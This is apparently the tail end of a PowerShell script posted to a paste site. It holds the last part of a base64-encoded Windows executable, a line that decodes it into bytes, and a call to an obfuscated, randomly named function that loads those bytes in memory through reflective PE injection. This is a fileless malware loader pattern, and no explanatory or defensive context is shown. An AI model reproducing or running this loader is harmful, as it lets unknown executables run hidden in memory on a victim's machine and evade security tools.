M2VjZdNmc2lTarNr420zb+NhQ3KDc3N2Q3eTeNN583yTffN/M3BTi9ONQ46Dj0OBs5MDlFOVY5YjmROfI5CTodOik6OTp5Oo46nzqrOts6MztFO1w7cDt/O8E70jviO/E7Ljw/PFA8XzyXPAAAAJAAAAwAAABROAAAAKAAAAwAAAAPNDA1ALAAAAwAAADBMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
  2762. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2763. Invoke-COVDQSQKASLYKYN -PEBytes $PEBytes
  2764.  
  2765. }
  2766.  
Add Comment
Please, Sign In to add comment